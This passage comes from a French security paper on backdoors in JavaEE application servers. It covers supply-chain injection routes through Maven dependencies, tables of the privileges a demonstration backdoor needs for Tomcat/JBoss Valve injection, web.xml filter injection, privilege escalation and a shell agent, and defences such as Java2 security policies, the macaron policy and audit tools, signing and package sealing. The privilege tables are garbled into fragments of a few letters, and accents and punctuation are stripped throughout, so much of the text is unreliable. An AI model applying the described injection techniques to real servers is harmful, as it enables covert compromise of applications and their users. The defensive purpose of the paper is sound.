ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
